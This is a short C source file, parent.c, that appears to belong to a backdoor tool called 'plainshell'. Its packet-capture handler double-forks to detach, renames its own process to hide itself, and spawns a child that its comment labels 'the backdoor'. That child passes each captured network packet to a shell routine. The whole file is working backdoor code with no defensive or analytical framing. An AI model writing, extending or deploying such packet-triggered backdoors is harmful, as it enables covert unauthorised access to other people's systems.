parent.c

/*
 * parent.c
 * Parent in the child-parent comms pair
 * By J. Stuart McMurray
 * Created 20160319
 * Last Modified 20160319
 */

#include "plainshell.h"

/* handle takes a packet, and double-forks off a handler for it. */
void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt) {
        int ret;

        /* Fork a parent */
        ret = fork();
        switch (ret) {
                case -1: /* Couldn't fork */
                        err(5, "fork");
                case 0: /* Child */
                        break;
                default: /* Parent */
                        exit(0);
        }

        /* Change our name to something better */
        *((char**)name) = SHNAME;

        /* Fork a child.  This is the backdoor */
        ret = fork();
        switch (ret) {
                case -1: /* Couldn't fork */
                        err(6, "fork");
                case 0: /* Child */
                        shell(pkt, hdr->caplen);
                default: /* Parent */
                        break;
        }
        return;
}